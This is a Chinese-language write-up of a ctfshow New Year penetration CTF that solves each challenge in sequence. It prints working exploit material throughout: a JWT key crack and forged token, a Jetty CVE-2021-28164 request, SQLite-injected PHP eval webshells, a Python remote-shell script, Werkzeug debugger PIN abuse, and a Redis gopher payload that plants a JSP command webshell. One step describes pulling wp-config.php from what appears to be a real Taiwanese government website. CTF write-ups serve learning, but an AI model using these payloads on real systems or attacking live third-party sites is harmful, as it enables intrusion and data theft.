ctfshow 2025元旦渗透赛 wp

谁家跨年CTF啊!

自从去年西瓜杯给CTFSHOW投了个原题(wok真的别骂了传错文件了)就一直心里有个坎过不去。今年打渗透赛的时候还是老是想起这个来(((现在是处于戴罪立功阶段。多写点wp吧。

启程

我们的演出,开始了。(bushi

下载压缩包,有密码,ZipCracker弱密码爆破一把出。签到题。弱密码是654321

ctfshow{654321}

破解加密通讯

一个图。拖到010里

有意义不明的字符串,扔到赛博厨子里看,发现有一个加密脚本。

可以看到引入了一个secretMessageResponse库调用printMessage方法

pip install secretMessageResponse

从第一题的任务应援包中得

633246888504573920779824237508007735589231666589188021171575950939940255140086052090801972411182075806200277922264916256376952068104942084262732765302869757002336862151158422906662985191392193462511289187123754337854684702016396996198789908170728175626225281406256476216079863574750768787169969475152717430903460149705597463505143799487488630064694962535355825378265518133414832135165998125004282912865895836379205933895029154287788824317000843771251331435939410389957572552746410933103347212260533351406876584798128116835102705770834548333327952204414218313396767348386545933700371706780732081128764732828398879654027694999061445888984652196057717761623666471390226500419047354546009526849190038055817008252022472857695300387827500818231719929626707573775972451255428059119840669826086027702546510213791864358183204530776020004866770536545695330324167569777791175170044812028227494966458864002660598592490354017639158027968836329598282419666463285900175674408026881052737148611395153194390130628356104784358804158581294733196703476913434055209441802708485723455322985654447400945734717510509951259155462497189459983874690099575241597111904193711108488616566486665053884629084564364205319797812148684173057523812840684555544241901417
31764044218067306492147889531461768510318119973238219147743625781223517377940974553025619071173628007991575510570365772185728567874710285810316184852553098753128108078975486635418847058797903708712720921754985829347790065080083720032152368134209675749929875336343905922553986957365581428234650288535216460326756576870072581658391409039992017661511831846885941769553385318452234212849064725733948770687309835172939447056526911787218396603271670163178681907015237200091850112165224511738788059683289680749377500422958532725487208309848648092125981780476161201616645007489243158529515899301932222796981293281482590413681
19935965463251204093790728630387918548913200711797328676820417414861331435109809773835504522004547179742451417443447941411851982452178390931131018648260880134788113098629170784876904104322308416089636533044499374973277839771616505181221794837479001656285339681656874034743331472071702858650617822101028852441234915319854953097530971129078751008161174490025795476490498225822900160824277065484345528878744325480894129738333972010830499621263685185404636669845444451217075393389824619014562344105122537381743633355312869522701477652030663877906141024174678002699020634123988360384365275976070300277866252980082349473657

得到p,q,n。直接拿这个去求私钥。

phi = (p - 1) * (q - 1)
d = pow(e, -1, phi)
key = RSA.construct((n, e, d, p, q))
private_key = key.export_key()
print(private_key.decode('utf-8'))

得私钥,用私钥解密。

Park:
你的行动已经暴露,24小时内迅速撤离,销毁所有资料,将现有资料统一上传到【任务中心】
发送人:Dylan
Park:
总部已经为你安排新的身份,请务必在3日内抵台,你的新身份是新竹县动物保护防疫所网络安全顾问,【任务中心】账号密码和你任职单位网站的数据库用户名密码一致,请尽快修改 
发送人:Dylan
Park:
【任务中心】网址已变更为 https://task.ctfer.com ,请注意修改浏览器地址栏中的链接 
发送人:Dylan

得到网址

ctfshow{https://task.ctfer.com}

潜入敌营

直接去打https://apc.hsinchu.g*v.t*

手fuzz出:https://apc.hsinchu.g*v.t*/wp-login.php

发现是wordpress,对着版本号搜payload,看到:

抄payload一打通 https://apc.hsinchu.g*v.t*/?aam-media=wp-config.php

得到download文件

ctfshow{hsinchug_wp1_Q.4Vyj8VCiedX1KYU5g05}

这里也可以WPSCAN梭

秘密潜伏

JWT题 进去发现有个废弃的公钥,有个烧掉的密钥。

hashcat 破解出:

hashcat -a 3 -m 16500 hash.txt --custom-charset1=?l?d 4a4f7d6e8b5?1?1?10c7f

key: 4a4f7d6e8b5e3a0c7f

伪造dylan用户出电话号

JWT:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJkeWxhbiIsImV4cCI6MTczNTc0MzI4MH0.4lZrlCBSKMswlpj8vSYVtv7539sTXXvxd7u9i_cNa_g

ctfshow{117447685307}

收集敌方身份信息

发信主页多了几个功能

一个一个测试,出两个接口。

GET /listTaskFiles?path= 列出文件夹下的文件
GET /readTaskFile?path=&file_name= 读取文件

严格过滤了/。但当path=空的时候,读取同目录

读取init_users.json出

ctfshow{7y.(sc#Ac_}

横向渗透

如题,爆破IP,发现除了题目的.4活着之外,还有.5和.6服务。

.6服务是一个flask服务,源码可以在GET /readTaskFile?path=&file_name=main.py.bak读到(除了app.py被waf了都能读)

.5一个php服务,进去直接就是SECRET_KEY

ctfshow{0x8F7C71E8E82E4D1E}

邮箱迷云

直接猜出来的。

题目提示是park这个人。这个人是我们的调查员。

直接看之前的图,底下都有个数字

猜就有

ctfshow{81192}

艰难的最后一步

测出来.7:8080有个jelly server服务,fuzz

出CVE-2021-28164,一打通

payload: GET /downloadTaskFile?url=http://172.2.222.7:8080/.%00/WEB-INF/web.xml

ctfshow{ctfshow_2025}

跳岛战术

环境错了。这里卡了我好久呜呜呜。

Sqlite连接不需要密码。这里用户名密码直接空着就能连接。后面的DSN得翻开发手册,对着连接就行。

贴个出题人的payload:

http://172.2.24.5/index.php?%3fdsn%3dsqlite%3ashell.php%26username%3daaa%26password%3dbbb%26query%3dcreate%2520table%2520%22aaa%22%2520(name%2520TEXT%2520DEFAULT%2520%22%3c%3fphp%2520file_put_contents(%271.php%27%2c%27%3c%3fphp+eval(%24_GET%5b1%5d)%3b%3f%3e%27)%3b%3f%3e%22)%3b

这里我是ATTACH DATABASE做的。贴一下我的payload:

http://172.2.24.5/index.php?username=LamentXU%26password=LamentXU%26dsn=sqlite:hack.php%26query=ATTACH DATABASE '/var/www/html/hack.php' AS hack;

然后CREATE TABLE写

http://172.2.24.5/index.php?username=LamentXU%26password=LamentXU%26dsn=sqlite:/var/www/html/hack.php&query=create TABLE exp ('hacked <?php eval($_GET["hack"]); ?>' text);

但是抽象的是hack.php虽然能正常创建,但是用CREATE TABLE写不了(本地能通,远程通不了)最后还是用的出题人的payload打。

连接1.php拿到shell。读取config.php出。

ctfshow{3f7a1d5a-d55d-4d9d-8d9a-d5d5d5d5d5d5}

再下一城

传session:Cookie: session=eyJ1c2VyIjoiYWRtaW4ifQ.Z3kddg.CjbNhdNFa_7H--igibxBzM2omNk

http://172.2.233.5/1.php?1=system('curl -b "session=eyJ1c2VyIjoiYWRtaW4ifQ.Z3kddg.CjbNhdNFa_7H--igibxBzM2omNk"  http://172.2.233.6:8888/key');

ctfshow{4f5d1d5d-1d5d-1d5d1d5d1d5d}

顺藤摸瓜

注意到有debug=True。这里也许可以打pin码泄露(注意!!!这里要用base64编码一下再解码。估计中间的转编码很复杂,最好全化成base64不容易丢失或错传字符)

贴一个ZianTT写的interactive shell脚本。感谢大佬的友情赞助。(这里我把system里的base64解码改到system外了,用php的base64_decode实现,有些部分调整了一下)

import base64
import requests
import urllib.parse

while True:
    data = input("> ")
    # data = urllib.parse.quote(data)
    # python_shell = 'curl --cookie "session=eyJ1c2VyIjoiYWRtaW4ifQ.Z3kddg.CjbNhdNFa_7H--igibxBzM2omNk;__wzd2fb5743f98b45463400e=1736152460|4bfc86e353c8" "http://172.2.252.6:8888/console?__debugger__=yes&s=eABh7cMeNgMKri1DSi4w&cmd={}&frm=1"'.format(data)
    # python_shell = base64.b64encode(python_shell.encode()).decode()
    data = base64.b64encode(data.encode()).decode()
    # normal_shell = 'echo "' + data + '" | base64 -d | sh'
    normal_shell=data
    # url = "https://543f943e-6f90-43b4-bfc8-ee86d2fb3f34.challenge.ctf.show/downloadTaskFile?url=http://172.2.239.5/1.php?1=phpinfo();"
    url = "http://9c30a725-a36d-4e54-874b-f088dc3d80cf.challenge.ctf.show/downloadTaskFile?url=http://172.2.233.5/1.php?1=system(base64_decode(\""+normal_shell+"\"));"
    response = requests.get(url, verify=False, headers={'Authorization': "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJkeWxhbiIsImV4cCI6MTgzNjIzMjMxN30.nB-6uWH-wBxU3e_QJLw1O_TaPARU5o2DUe-y1TvqX5w"})
    try:
        # print(url)
        # print(response.json())
        # print(response.json()["url"])
        print(response.json()["file_content"])
    except:
        print("Error")
        continue

可以看到非常的好用啊()(

设置loggername为werkzeug记录flask的日志(不知道的可以打个断点看一下,在logdict里有)

查一下就可以知道这个logger可以记录flask的日志

curl -b "session=eyJ1c2VyIjoiYWRtaW4ifQ.Z3kddg.CjbNhdNFa_7H--igibxBzM2omNk" http://172.2.233.6:8888/set_log_option?logName=werkzeug%26logFile=werkzeug.log

这里可以通过printpin来泄露pin码。

首先访问console拿到secret

curl -b "session=eyJ1c2VyIjoiYWRtaW4ifQ.Z3kddg.CjbNhdNFa_7H--igibxBzM2omNk" "http://172.2.233.6:8888/console"

随后带着secret去printpin

curl -b "session=eyJ1c2VyIjoiYWRtaW4ifQ.Z3kddg.CjbNhdNFa_7H--igibxBzM2omNk" "http://172.2.233.6:8888/console?__debugger__=yes%26cmd=printpin%26s=fllEhSZ6f9Str0SXrsRg"

回去查看log文件

curl -b "session=eyJ1c2VyIjoiYWRtaW4ifQ.Z3kddg.CjbNhdNFa_7H--igibxBzM2omNk" "http://172.2.233.6:8888/get_log_content?logFile=hack.log"

拿到pin:475-350-506

随后拿着pin码去验证,把cookie保留到本地

随后读取ckie.txt

curl -c skie.txt -b -v "session=eyJ1c2VyIjoiYWRtaW4ifQ.Z3kddg.CjbNhdNFa_7H--igibxBzM2omNk" "http://172.2.233.6:8888/console?__debugger__=yes&cmd=pinauth&pin=475-350-506&s=fllEhSZ6f9Str0SXrsRg -t"
cat ckie.txt

带着cookie去RCE

这里读取无回显

因此,外带注入。正好log目录下有任意读。

curl -v -b  "__wzd23d78edae3770f1189a2=1736173286|b290ef2b4aae" "http://172.2.233.6:8888/console?__debugger__=yes&cmd=__import__('os').system('''cat%20\/etc\/passwd>.\/log\/hack.log''')&frm=0&s=fllEhSZ6f9Str0SXrsRg"

访问hack.log即可

curl -b "session=eyJ1c2VyIjoiYWRtaW4ifQ.Z3kddg.CjbNhdNFa_7H--igibxBzM2omNk" "http://172.2.233.6:8888/get_log_content?logFile=hack.log"

最后一行为:ctfer:x:1000:1000::/home/ctfer:/bin/bash

ctfshow{ctfer:x:1000:1000::/home/ctfer:/bin/bash}

功亏一篑

这题比较基础。有密码,支持gopher,无waf,直接登录redis写马就行。因为不出网,所以还是通过输出重定向外带命令输出

这是写php webshell的办法。参考这个办法写java的webshell即可。(一开始没写quit,可把我坑死了)

auth ctfshow_2025
config set dir /opt/jetty/webapps/ROOT/
config set dbfilename hack.jsp
set xxx "<% Runtime.getRuntime().exec(new String[]{\"sh\",\"-c\",request.getParameter(\"cmd\")});%>"
save
quit

打gopher就行

curl -v "gopher://172.2.221.7:6380/_auth%20ctfshow_2025%0aconfig%20set%20dir%20%2fopt%2fjetty%2fwebapps%2fROOT%2f%0aconfig%20set%20dbfilename%20hack.jsp%0aset%20xxx%20%22%3c%25%20Runtime.getRuntime().exec(new%20String%5b%5d%7b%5c%22sh%5c%22%2c%5c%22-c%5c%22%2crequest.getParameter(%5c%22cmd%5c%22)%7d)%3b%25%3e%22%0asave%0aquit"

马写上了,随后去执行命令并把请求外带出来到web目录就行

curl -v  "http://172.2.221.7:8080/hack.jsp?cmd=cat%20/dylan.txt>/opt/jetty/webapps/ROOT/1.txt"

访问/1.txt

curl -v  "http://172.2.221.7:8080/1.txt"

ctfshow{7b11a7ae330883cb5bf667a9c1604635}

写在后面

虽然说3-1是出了很大失误,但这个CTF整体出的还是很精致的。不管是剧情,配图,还是文案都是比较新鲜的。而且属于是一靶到底的类型。中间还混入了一个打g*v的模块。只能说瑕不掩瑜,整体打下来还是很精彩的。

最后:出题人辛苦了

posted @ 2025-01-01 01:10  LamentXU  阅读(1933)  评论(4)    收藏  举报